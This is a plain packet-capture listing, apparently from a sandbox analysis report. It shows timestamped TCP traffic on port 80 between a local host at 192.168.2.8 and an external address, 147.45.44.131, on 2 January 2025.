Jan 2, 2025 19:14:19.894934893 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.894958973 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.894993067 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.895718098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895724058 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895730019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895735025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895740032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895745039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895796061 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895797968 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.895808935 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895814896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895819902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895824909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895828962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895834923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895848036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895853043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895858049 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895863056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895869017 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895886898 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.895909071 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.895939112 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.895946026 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895963907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895971060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895975113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895979881 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895984888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895989895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.895994902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896015882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896022081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896027088 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896044970 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896044970 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896063089 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896066904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896073103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896086931 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896090984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896090984 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896102905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896107912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896116972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896127939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896132946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896138906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896140099 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896143913 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896148920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896163940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896167994 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896168947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896176100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896192074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896193027 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896198034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896203995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896219015 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896296978 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896306992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896312952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896318913 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896327019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896332979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896338940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896343946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896388054 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896397114 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896408081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896414042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896430969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896435976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896440983 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896457911 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896471024 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896475077 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896476030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896483898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896488905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896493912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896497965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896502972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896507025 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896508932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896522999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896534920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896537066 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896541119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896559000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896564960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896569014 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896569014 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896576881 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896583080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896588087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896591902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896596909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896601915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896609068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896626949 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896671057 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896737099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896749020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896754980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896759987 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896765947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896775007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896794081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896801949 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896805048 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896811962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896816015 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896817923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896823883 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896828890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896861076 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896872997 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896888971 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896893978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896899939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896910906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896917105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896920919 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896927118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896941900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896956921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896961927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896962881 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.896967888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896972895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.896996021 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.897013903 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.948512077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.948549986 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.948554993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.948560953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.948596954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.948602915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.948607922 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.948626041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.948642969 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.948668003 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.985449076 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985460043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985476017 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985485077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985488892 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985501051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985506058 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985510111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985517025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985557079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985562086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985568047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985585928 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.985588074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985627890 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.985641003 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985646009 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985657930 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985665083 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985698938 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.985703945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985708952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985724926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985730886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.985760927 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.985801935 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986442089 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986490965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986517906 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986542940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986632109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986637115 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986654043 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986665010 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986668110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986675978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986685038 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986685991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986694098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986699104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986704111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986709118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986713886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986720085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986730099 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986742020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986756086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986758947 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986762047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986767054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986772060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986783981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986788988 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986807108 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986865997 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986876011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986881971 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986887932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986897945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986903906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986913919 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986917973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986924887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986939907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986946106 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986951113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986957073 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986958981 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.986963034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986969948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986984015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986989975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.986994982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987001896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987004042 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987006903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987025976 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987049103 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987243891 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987257957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987263918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987268925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987287045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987288952 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987293005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987304926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987310886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987329960 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987364054 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987390995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987397909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987410069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987415075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987421036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987432957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987451077 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987482071 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987507105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987519979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987526894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987536907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987543106 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987556934 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987560034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987572908 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987577915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987584114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987588882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987590075 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987595081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987600088 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987612009 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987616062 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987622023 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987629890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987636089 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987641096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987646103 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987662077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987668037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987673998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987685919 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987688065 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987688065 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987692118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987710953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987715006 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987716913 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987728119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987732887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987737894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987745047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987746954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987757921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987765074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987768888 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987770081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987777948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987795115 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987801075 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987801075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987808943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987823963 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987843037 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987848997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987854958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987864971 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987870932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987884045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987895966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987901926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987905025 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987914085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.987927914 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987950087 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.987979889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.988028049 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.039362907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.039370060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.039376974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.039381981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.039387941 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.039392948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.039406061 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.039508104 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.076216936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076224089 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076231003 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076364040 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.076386929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076401949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076416969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076453924 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.076459885 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076467037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076478004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076483965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076488972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076495886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076500893 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076507092 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076514006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076519966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.076520920 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.076553106 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077229977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077235937 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077248096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077291965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077296972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077301979 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077305079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:20.077358961 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:20.077405930 CET	80	49704	147.45.44.131	192.168.2.8
